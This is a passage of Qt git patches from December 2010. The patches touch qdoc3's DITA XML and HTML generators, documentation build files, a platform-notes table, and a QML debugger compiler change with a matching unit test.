fnl.mid(idx); xmlWriter().writeStartElement(CXXFUNCTIONNAMELOOKUP); - xmlWriter().writeCharacters(fnl); + writeCharacters(fnl); xmlWriter().writeEndElement(); // if (!fn->isInternal() && fn->isReimp() && fn->reimplementedFrom() != 0) { @@ -4621,7 +4629,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, if (rfn && !rfn->isInternal()) { xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(rfn)); + writeCharacters(marker->plainFullName(rfn)); xmlWriter().writeEndElement(); // } } @@ -4658,19 +4666,19 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn) while (p != parameters.end()) { xmlWriter().writeStartElement(CXXFUNCTIONPARAMETER); xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); - xmlWriter().writeCharacters((*p).leftType()); + writeCharacters((*p).leftType()); if (!(*p).rightType().isEmpty()) - xmlWriter().writeCharacters((*p).rightType()); + writeCharacters((*p).rightType()); xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); - xmlWriter().writeCharacters((*p).name()); + writeCharacters((*p).name()); xmlWriter().writeEndElement(); // // not included: if (!(*p).defaultValue().isEmpty()) { xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); - xmlWriter().writeCharacters((*p).defaultValue()); + writeCharacters((*p).defaultValue()); xmlWriter().writeEndElement(); // } @@ -4699,7 +4707,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(en->name()); + writeCharacters(en->name()); xmlWriter().writeEndElement(); // generateBrief(en,marker); @@ -4714,20 +4722,20 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, QString fq = fullQualification(en); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXENUMERATIONSCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } const QList& items = en->items(); if (!items.isEmpty()) { xmlWriter().writeStartElement(CXXENUMERATIONPROTOTYPE); - xmlWriter().writeCharacters(en->name()); + writeCharacters(en->name()); xmlWriter().writeCharacters(" = { "); QList::ConstIterator i = items.begin(); while (i != items.end()) { - xmlWriter().writeCharacters((*i).name()); + writeCharacters((*i).name()); if (!(*i).value().isEmpty()) { xmlWriter().writeCharacters(" = "); - xmlWriter().writeCharacters((*i).value()); + writeCharacters((*i).value()); } ++i; if (i != items.end()) @@ -4738,7 +4746,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, } xmlWriter().writeStartElement(CXXENUMERATIONNAMELOOKUP); - xmlWriter().writeCharacters(en->parent()->name() + "::" + en->name()); + writeCharacters(en->parent()->name() + "::" + en->name()); xmlWriter().writeEndElement(); // // not included: @@ -4749,20 +4757,20 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, while (i != items.end()) { xmlWriter().writeStartElement(CXXENUMERATOR); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters((*i).name()); + writeCharacters((*i).name()); xmlWriter().writeEndElement(); // QString fq = fullQualification(en->parent()); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXENUMERATORSCOPEDNAME); - xmlWriter().writeCharacters(fq + "::" + (*i).name()); + writeCharacters(fq + "::" + (*i).name()); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXENUMERATORPROTOTYPE); - xmlWriter().writeCharacters((*i).name()); + writeCharacters((*i).name()); xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXENUMERATORNAMELOOKUP); - xmlWriter().writeCharacters(en->parent()->name() + "::" + (*i).name()); + writeCharacters(en->parent()->name() + "::" + (*i).name()); xmlWriter().writeEndElement(); // if (!(*i).value().isEmpty()) { @@ -4818,7 +4826,7 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(tn->name()); + writeCharacters(tn->name()); xmlWriter().writeEndElement(); // generateBrief(tn,marker); @@ -4835,14 +4843,14 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, QString fq = fullQualification(tn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXTYPEDEFSCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } // not included: xmlWriter().writeStartElement(CXXTYPEDEFNAMELOOKUP); - xmlWriter().writeCharacters(tn->parent()->name() + "::" + tn->name()); + writeCharacters(tn->parent()->name() + "::" + tn->name()); xmlWriter().writeEndElement(); // // not included: @@ -4881,7 +4889,7 @@ void DitaXmlGenerator::writeProperties(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(pn->name()); + writeCharacters(pn->name()); xmlWriter().writeEndElement(); // generateBrief(pn,marker); @@ -4900,21 +4908,21 @@ void DitaXmlGenerator::writeProperties(const Section& s, if (!pn->qualifiedDataType().isEmpty()) { xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); - xmlWriter().writeCharacters(pn->qualifiedDataType()); + writeCharacters(pn->qualifiedDataType()); xmlWriter().writeEndElement(); // } QString fq = fullQualification(pn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); xmlWriter().writeCharacters("Q_PROPERTY("); - xmlWriter().writeCharacters(pn->qualifiedDataType()); + writeCharacters(pn->qualifiedDataType()); xmlWriter().writeCharacters(" "); - xmlWriter().writeCharacters(pn->name()); + writeCharacters(pn->name()); writePropertyParameter("READ",pn->getters()); writePropertyParameter("WRITE",pn->setters()); writePropertyParameter("RESET",pn->resetters()); @@ -4922,14 +4930,14 @@ void DitaXmlGenerator::writeProperties(const Section& s, if (pn->isDesignable() != pn->designableDefault()) { xmlWriter().writeCharacters(" DESIGNABLE "); if (!pn->runtimeDesignabilityFunction().isEmpty()) - xmlWriter().writeCharacters(pn->runtimeDesignabilityFunction()); + writeCharacters(pn->runtimeDesignabilityFunction()); else xmlWriter().writeCharacters(pn->isDesignable() ? "true" : "false"); } if (pn->isScriptable() != pn->scriptableDefault()) { xmlWriter().writeCharacters(" SCRIPTABLE "); if (!pn->runtimeScriptabilityFunction().isEmpty()) - xmlWriter().writeCharacters(pn->runtimeScriptabilityFunction()); + writeCharacters(pn->runtimeScriptabilityFunction()); else xmlWriter().writeCharacters(pn->isScriptable() ? "true" : "false"); } @@ -4949,14 +4957,14 @@ void DitaXmlGenerator::writeProperties(const Section& s, xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); - xmlWriter().writeCharacters(pn->parent()->name() + "::" + pn->name()); + writeCharacters(pn->parent()->name() + "::" + pn->name()); xmlWriter().writeEndElement(); // if (pn->overriddenFrom() != 0) { PropertyNode* opn = (PropertyNode*)pn->overriddenFrom(); xmlWriter().writeStartElement(CXXVARIABLEREIMPLEMENTED); xmlWriter().writeAttribute("href",opn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(opn)); + writeCharacters(marker->plainFullName(opn)); xmlWriter().writeEndElement(); // } @@ -4993,7 +5001,7 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(vn->name()); + writeCharacters(vn->name()); xmlWriter().writeEndElement(); // generateBrief(vn,marker); @@ -5018,28 +5026,28 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, // , xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); - xmlWriter().writeCharacters(vn->leftType()); + writeCharacters(vn->leftType()); if (!vn->rightType().isEmpty()) - xmlWriter().writeCharacters(vn->rightType()); + writeCharacters(vn->rightType()); xmlWriter().writeEndElement(); // QString fq = fullQualification(vn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); - xmlWriter().writeCharacters(vn->leftType() + " "); - //xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); - xmlWriter().writeCharacters(vn->name()); + writeCharacters(vn->leftType() + " "); + //writeCharacters(vn->parent()->name() + "::" + vn->name()); + writeCharacters(vn->name()); if (!vn->rightType().isEmpty()) - xmlWriter().writeCharacters(vn->rightType()); + writeCharacters(vn->rightType()); xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); - xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); + writeCharacters(vn->parent()->name() + "::" + vn->name()); xmlWriter().writeEndElement(); // // not included: @@ -5078,7 +5086,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (!attribute.isEmpty()) xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); xmlWriter().writeEndElement(); // generateBrief(fn,marker); @@ -5092,7 +5100,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, xmlWriter().writeStartElement(CXXDEFINEPROTOTYPE); xmlWriter().writeCharacters("#define "); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { @@ -5101,7 +5109,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, if (params[i].isEmpty()) xmlWriter().writeCharacters("..."); else - xmlWriter().writeCharacters(params[i]); + writeCharacters(params[i]); if ((i+1) < params.size()) xmlWriter().writeCharacters(", "); } @@ -5111,14 +5119,14 @@ void DitaXmlGenerator::writeMacros(const Section& s, xmlWriter().writeEndElement(); // xmlWriter().writeStartElement(CXXDEFINENAMELOOKUP); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); xmlWriter().writeEndElement(); // if (fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); xmlWriter().writeStartElement(CXXDEFINEREIMPLEMENTED); xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); - xmlWriter().writeCharacters(marker->plainFullName(rfn)); + writeCharacters(marker->plainFullName(rfn)); xmlWriter().writeEndElement(); // } @@ -5129,7 +5137,7 @@ void DitaXmlGenerator::writeMacros(const Section& s, for (int i = 0; i < params.size(); ++i) { xmlWriter().writeStartElement(CXXDEFINEPARAMETER); xmlWriter().writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); - xmlWriter().writeCharacters(params[i]); + writeCharacters(params[i]); xmlWriter().writeEndElement(); // // not included: @@ -5168,9 +5176,9 @@ void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList NodeList::const_iterator n = nlist.begin(); while (n != nlist.end()) { xmlWriter().writeCharacters(" "); - xmlWriter().writeCharacters(tag); + writeCharacters(tag); xmlWriter().writeCharacters(" "); - xmlWriter().writeCharacters((*n)->name()); + writeCharacters((*n)->name()); ++n; } } @@ -5255,7 +5263,7 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, xmlWriter().writeAttribute("outputclass","details"); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(title); + writeCharacters(title); xmlWriter().writeEndElement(); // } else { @@ -5294,7 +5302,7 @@ void DitaXmlGenerator::writeNestedClasses(const Section& s, QString link = linkForNode((*m), n); xmlWriter().writeAttribute("href", link); QString name = n->name() + "::" + (*m)->name(); - xmlWriter().writeCharacters(name); + writeCharacters(name); xmlWriter().writeEndElement(); // } ++m; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index b13fa49..c077b53 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -112,6 +112,7 @@ class DitaXmlGenerator : public PageGenerator void writeXrefListItem(const QString& link, const QString& text); QString fullQualification(const Node* n); + void writeCharacters(const QString& text); void writeDerivations(const ClassNode* cn, CodeMarker* marker); void writeLocation(const Node* n); void writeFunctions(const Section& s, -- cgit v0.12 From 4db69b5c116412bbcdb032affe9fa2c73e61abb1 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 8 Dec 2010 17:50:59 +0100 Subject: Updated the build files to use config files not command line options. --- doc/doc.pri | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/doc.pri b/doc/doc.pri index a5db3c7..3cdac61 100644 --- a/doc/doc.pri +++ b/doc/doc.pri @@ -19,8 +19,8 @@ $$unixstyle { QDOC = cd $$QT_SOURCE_TREE/tools/qdoc3/test && set QT_BUILD_TREE=$$QT_BUILD_TREE&& set QT_SOURCE_TREE=$$QT_SOURCE_TREE&& $$QT_BUILD_TREE/bin/qdoc3.exe $$DOCS_GENERATION_DEFINES QDOC = $$replace(QDOC, "/", "\\") } -ADP_DOCS_QDOCCONF_FILE = -online qt-build-docs.qdocconf -QT_DOCUMENTATION = ($$QDOC -creator qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \ +ADP_DOCS_QDOCCONF_FILE = qt-build-docs-online.qdocconf +QT_DOCUMENTATION = ($$QDOC qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \ linguist.qdocconf qmake.qdocconf qdeclarative.qdocconf) && \ (cd $$QT_BUILD_TREE && \ $$GENERATOR doc-build/html-qt/qt.qhp -o doc/qch/qt.qch && \ -- cgit v0.12 From 0ffdc7556920564fce899ccd4bb4e7ce68a5c4d2 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 8 Dec 2010 17:52:42 +0100 Subject: Use the same style of qmake variable referencing used elsewhere in Qt. --- tools/qdoc3/qdoc3.pro | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 4bc6bca..2fedc0f 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -86,9 +86,9 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp -INCLUDEPATH += $$(QT_BUILD_TREE)/include/QtDeclarative +INCLUDEPATH += $$QT_BUILD_TREE/include/QtDeclarative -include($$(QT_SOURCE_TREE)/src/declarative/qml/parser/parser.pri) +include($$QT_SOURCE_TREE/src/declarative/qml/parser/parser.pri) ### Documentation for qdoc3 ### -- cgit v0.12 From 185ad65aedeb45ee3739a4377c44f8d56a3bb4f5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 09:53:01 +0100 Subject: qdoc: Updated signature of generateInnerNode() in the XML generator. --- tools/qdoc3/ditaxmlgenerator.cpp | 17 +++++++++++------ tools/qdoc3/ditaxmlgenerator.h | 2 +- tools/qdoc3/qdoc3.pro | 2 +- 3 files changed, 13 insertions(+), 8 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 6b7d1fb..abe247b 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -699,11 +699,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead++; atom = atom->next(); } + str[0] = str[0].toLower(); + if (str.right(1) == ".") + str.truncate(str.length() - 1); + writeCharacters(str + "."); } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.truncate(str.length() - 1); - writeCharacters(str + "."); break; case Atom::BriefRight: // if (relative->type() != Node::Fake) @@ -5315,7 +5315,7 @@ void DitaXmlGenerator::writeNestedClasses(const Section& s, Recursive writing of DITA XML files from the root \a node. */ void -DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) +DitaXmlGenerator::generateInnerNode(const InnerNode* node) { if (!node->url().isNull()) return; @@ -5334,6 +5334,11 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) } } + /* + Obtain a code marker for the source file. + */ + CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath()); + if (node->parent() != 0) { beginSubPage(node->location(), fileName(node)); if (node->type() == Node::Namespace || node->type() == Node::Class) { @@ -5353,7 +5358,7 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { if ((*c)->isInnerNode() && (*c)->access() != Node::Private) - generateInnerNode((const InnerNode*) *c, marker); + generateInnerNode((const InnerNode*) *c); ++c; } } diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 6075a86..1a42e5f 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -252,7 +252,7 @@ class DitaXmlGenerator : public PageGenerator GuidMap* lookupGuidMap(const QString& fileName); virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); - virtual void generateInnerNode(const InnerNode* node, CodeMarker* marker); + virtual void generateInnerNode(const InnerNode* node); QXmlStreamWriter& xmlWriter(); void writeDetailedDescription(const Node* node, CodeMarker* marker, diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 4bc6bca..50c20ec 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -86,7 +86,7 @@ SOURCES += atom.cpp \ tree.cpp \ yyindent.cpp -INCLUDEPATH += $$(QT_BUILD_TREE)/include/QtDeclarative +INCLUDEPATH += $$(QT_SOURCE_TREE)/include/QtDeclarative include($$(QT_SOURCE_TREE)/src/declarative/qml/parser/parser.pri) -- cgit v0.12 From 7cfb008dd0aa1908464f071b1661e40e6117aba8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 10:13:34 +0100 Subject: doc: Removed some empty \row commands from a table. --- doc/src/platforms/platform-notes.qdoc | 3 --- 1 file changed, 3 deletions(-) diff --git a/doc/src/platforms/platform-notes.qdoc b/doc/src/platforms/platform-notes.qdoc index 177d3f6..b745867 100644 --- a/doc/src/platforms/platform-notes.qdoc +++ b/doc/src/platforms/platform-notes.qdoc @@ -81,14 +81,11 @@ \header \o \o Concurrent \o XmlPatterns \o WebKit(*) \o CLucene \o Phonon \row \o g++ 3.3 \o \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o g++ 3.4 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o SunCC 5.5 \o \o \o \o \bold{X} \o \bold{X} - \row \row \o aCC series 3 \o \o \o \o \bold{X} \o \bold{X} \row \o aCC series 6 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \row \o xlC 6 \o \o \o \o \bold{X} \o \bold{X} \row \o Intel CC 10 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o MSVC 2003 \o \bold{X} \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o MSVC 2005 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \endtable -- cgit v0.12 From 3ee5edeff7890c3fc1099029320f0fb038e7f81d Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 12:56:47 +0100 Subject: doc: Removed the \hr macro from the DITA XML qdocconf file. This eliminates some "raw-html" cases. --- tools/qdoc3/test/qt-ditaxml.qdocconf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index cc2937a..bc32149 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -20,7 +20,7 @@ macro.BR.DITAXML = " " macro.copyright.DITAXML = "©" macro.eacute.DITAXML = "é" macro.gui = "\\bold" -macro.hr.DITAXML = "
    " +macro.hr.DITAXML = " " macro.iacute.DITAXML = "í" macro.key = "\\bold" macro.menu = "\\bold" -- cgit v0.12 From bdaab918e08f244bf397b1179358d5a54553b4c9 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Dec 2010 13:16:48 +0100 Subject: doc: Fixed the \raisedaster macro to write the element. But only for the special case of "*". Still, it got rid of a lot of raw-html cases. More to come here. --- tools/qdoc3/ditaxmlgenerator.cpp | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index abe247b..57a6e8d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1287,6 +1287,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; if (atom->string().startsWith("&")) writeCharacters(atom->string()); + else if (atom->string() == "*") { + xmlWriter().writeStartElement("sup"); + writeCharacters("*"); + xmlWriter().writeEndElement(); // + } else { xmlWriter().writeStartElement("pre"); xmlWriter().writeAttribute("outputclass","raw-html"); -- cgit v0.12 From 61a5cc5fcde2de0c3639e20104ff58ca91cf793b Mon Sep 17 00:00:00 2001 From: Christiaan Janssen Date: Thu, 9 Dec 2010 14:31:10 +0100 Subject: QmlDebugger: avoid deferring properties when compiling in a debug environment Reviewed-by: Kai Koehne --- src/declarative/qml/qdeclarativecompiler.cpp | 6 +- .../qdeclarativedebug/tst_qdeclarativedebug.cpp | 97 +++++++++++++++++++++- 2 files changed, 100 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 4749bf8..b375b27 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -65,6 +65,7 @@ #include "private/qdeclarativebinding_p.h" #include "private/qdeclarativecompiledbindings_p.h" #include "private/qdeclarativeglobalscriptclass_p.h" +#include "private/qdeclarativedebugservice_p.h" #include #include @@ -754,7 +755,10 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt) QList customProps; // Fetch the list of deferred properties - QStringList deferredList = deferredProperties(obj); + QStringList deferredList; + if (!QDeclarativeDebugService::isDebuggingEnabled()) { + deferredList = deferredProperties(obj); + } // Must do id property first. This is to ensure that the id given to any // id reference created matches the order in which the objects are diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp index 53471bf..20a3fa6 100644 --- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp +++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp @@ -114,6 +114,7 @@ private slots: void tst_QDeclarativeDebugPropertyReference(); void setMethodBody(); + void queryObjectTree(); }; QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context) @@ -308,6 +309,34 @@ void tst_QDeclarativeDebug::initTestCase() "function myMethodIndirect() { myMethod(3); }\n" "}"; + // and a fourth to test states + qml << "import QtQuick 1.0\n" + "Rectangle {\n" + "id:rootRect\n" + "width:100\n" + "states: [\n" + "State {\n" + "name:\"state1\"\n" + "PropertyChanges {\n" + "target:rootRect\n" + "width:200\n" + "}\n" + "}\n" + "]\n" + "transitions: [\n" + "Transition {\n" + "from:\"*\"\n" + "to:\"state1\"\n" + "PropertyAnimation {\n" + "target:rootRect\n" + "property:\"width\"\n" + "duration:100\n" + "}\n" + "}\n" + "]\n" + "}\n" + ; + for (int i=0; iobjectName()); - QCOMPARE(context.objects().count(), 3); // 3 qml component objects created for context in main() + QCOMPARE(context.objects().count(), 4); // 4 qml component objects created for context in main() // root context query sends only root object data - it doesn't fill in // the children or property info QCOMPARE(context.objects()[0].properties().count(), 0); QCOMPARE(context.objects()[0].children().count(), 0); - QCOMPARE(context.contexts().count(), 4); + QCOMPARE(context.contexts().count(), 5); QVERIFY(context.contexts()[0].debugId() >= 0); QCOMPARE(context.contexts()[0].name(), QString("tst_QDeclarativeDebug_childContext")); @@ -897,6 +926,70 @@ void tst_QDeclarativeDebug::tst_QDeclarativeDebugPropertyReference() compareProperties(r, ref); } +void tst_QDeclarativeDebug::queryObjectTree() +{ + const int sourceIndex = 3; + + // Check if states/transitions are initialized when fetching root item + QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this); + waitForQuery(q_engines); + + QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this); + waitForQuery(q_context); + + QVERIFY(q_context->rootContext().objects().count() > sourceIndex); + QDeclarativeDebugObjectReference rootObject = q_context->rootContext().objects()[sourceIndex]; + + QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObjectRecursive(rootObject, this); + waitForQuery(q_obj); + + QDeclarativeDebugObjectReference obj = q_obj->object(); + + delete q_engines; + delete q_context; + delete q_obj; + + QVERIFY(obj.debugId() != -1); + QVERIFY(obj.children().count() >= 2); + + + + // check state + QDeclarativeDebugObjectReference state = obj.children()[0]; + QCOMPARE(state.className(), QString("State")); + QVERIFY(state.children().count() > 0); + + QDeclarativeDebugObjectReference propertyChange = state.children()[0]; + QVERIFY(propertyChange.debugId() != -1); + + QDeclarativeDebugPropertyReference propertyChangeTarget = findProperty(propertyChange.properties(),"target"); + QCOMPARE(propertyChangeTarget.objectDebugId(), propertyChange.debugId()); + + QDeclarativeDebugObjectReference targetReference = qvariant_cast(propertyChangeTarget.value()); + QVERIFY(targetReference.debugId() != -1); + + + + // check transition + QDeclarativeDebugObjectReference transition = obj.children()[1]; + QCOMPARE(transition.className(), QString("Transition")); + QCOMPARE(findProperty(transition.properties(),"from").value().toString(), QString("*")); + QCOMPARE(findProperty(transition.properties(),"to").value(), findProperty(state.properties(),"name").value()); + QVERIFY(transition.children().count() > 0); + + QDeclarativeDebugObjectReference animation = transition.children()[0]; + QVERIFY(animation.debugId() != -1); + + QDeclarativeDebugPropertyReference animationTarget = findProperty(animation.properties(),"target"); + QCOMPARE(animationTarget.objectDebugId(), animation.debugId()); + + targetReference = qvariant_cast(animationTarget.value()); + QVERIFY(targetReference.debugId() != -1); + + QCOMPARE(findProperty(animation.properties(),"property").value().toString(), QString("width")); + QCOMPARE(findProperty(animation.properties(),"duration").value().toInt(), 100); +} + int main(int argc, char *argv[]) { int _argc = argc + 1; -- cgit v0.12 From 05f330b96deaec54c4cfd7c1a190e7d90d77a54d Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 16:00:56 +0100 Subject: Used a different style class for areas containing QML markup. --- tools/qdoc3/htmlgenerator.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 456654f..ba36d9c 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -489,7 +489,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, break; #ifdef QDOC_QML case Atom::Qml: - out() << "
    "
    +        out() << "
    "
                   << trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
                                                      marker,relative))
                   << "
    \n"; -- cgit v0.12 From 32292ebabf620200708d40fa8bfa43fc6562d716 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 9 Dec 2010 16:02:22 +0100 Subject: Removed redundant style information and images. --- tools/qdoc3/test/qt-html-default-styles.qdocconf | 26 ++++------------------ tools/qdoc3/test/qt-html-online-styles.qdocconf | 11 +++------ tools/qdoc3/test/qt-html-templates-online.qdocconf | 6 +---- tools/qdoc3/test/qt-html-templates.qdocconf | 20 ++--------------- 4 files changed, 10 insertions(+), 53 deletions(-) diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index 30c28cb..c9c02ea 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -4,43 +4,25 @@ HTML.templatedir = $QT_SOURCE_TREE/doc/src/template -HTML.stylesheets = style/style.css \ - style/narrow.css +HTML.stylesheets = style/style.css HTML.scripts = # Files not referenced in any qdoc file (last four needed by qtdemo) # See also qhp.Qt.extraFiles -extraimages.HTML = qt-logo \ - trolltech-logo \ - bg_l.png \ - bg_l_blank.png \ - bg_ll_blank.png \ - bg_ul_blank.png \ - header_bg.png \ - bg_r.png \ - box_bg.png \ +extraimages.HTML = qt-logo.png \ + arrow_down.png \ breadcrumb.png \ bullet_gt.png \ bullet_dn.png \ bullet_sq.png \ bullet_up.png \ - arrow_down.png \ - feedbackground.png \ horBar.png \ - page.png \ - page_bg.png \ - sprites-combined.png \ - spinner.gif \ - stylesheet-coffee-plastique.png \ - taskmenuextension-example.png \ - coloreditorfactoryimage.png \ - dynamiclayouts-example.png + sprites-combined.png # Include the style sheets and scripts used. HTML.headerstyles = \ - " \n" \ " \n" HTML.headerscripts = diff --git a/tools/qdoc3/test/qt-html-online-styles.qdocconf b/tools/qdoc3/test/qt-html-online-styles.qdocconf index 06f8964..6db3491 100644 --- a/tools/qdoc3/test/qt-html-online-styles.qdocconf +++ 